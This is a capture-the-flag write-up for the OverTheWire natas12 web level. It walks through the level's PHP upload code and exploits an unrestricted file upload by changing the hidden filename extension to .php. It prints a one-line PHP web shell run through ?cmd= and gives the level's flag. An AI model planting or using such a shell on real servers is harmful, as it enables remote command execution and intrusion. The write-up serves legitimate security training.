Problem :lock:

We arrive at a webpage where we can upload a file.

Solution :key:

Let’s look at the PHP source of the page.

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>

<? } ?> 
Full Page Source
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Like before, let’s work out the flow of this script.

  1. It checks for the key filename in the array $_POST.

  2. Then this line is going to call a function.

     $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    

    Now we’re going into the makeRandomPathFromFilename() function consisting of 2 lines:

    • the first line just takes the file extension from $_POST["filename"] into $ext.
        $ext = pathinfo($fn, PATHINFO_EXTENSION);
      
    • the second line will call yet another function.
        return makeRandomPath($dir, $ext);
      
  3. So now we’re in makeRandomPath() which generates a random string with genRandomString(), if it generates a filename that already exists, it’ll generate a new one. Our file will then be put in the uploads/ folder under that random name, but our extension will remain the same from the start of the script. Then we return our full file path (e.g. uploads/somerandomfilename.ext) back to $targetpath.

  4. Then it’ll just get uploaded by move_uploaded_file() and we’ll be given the link to our uploaded file.

So since our extension will remain the same when we submit the image, we can make it whatever we want. After inspecting the page, we can see the pregenerated filename.

Some googling later, we’ll know that this is an Unrestricted File Upload vulnerability. This means we can pretty much upload whatever we want, we can also just type the extension we want our file to get by changing the “filename” hidden input in the HTML form.

Now let’s make a simple PHP backdoor to upload, we’ll name it backdoor.txt, the contents are:

<?php
system($_GET['cmd']);
?>

Now let’s upload this file, and change the extension (in the HTML form) to .php.

After we upload it, our filename will be regenerated by the PHP script.

But it doesn’t matter because we’re given the link to our file, so let’s get to our file.

As we can see, our txt file is getting parsed as a php file and so our backdoor works, now we can execute commands through the $_GET['cmd'] var that we can write to from the URL by appending ?cmd= then our command.

Flag :checkered_flag:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Takeaway :books: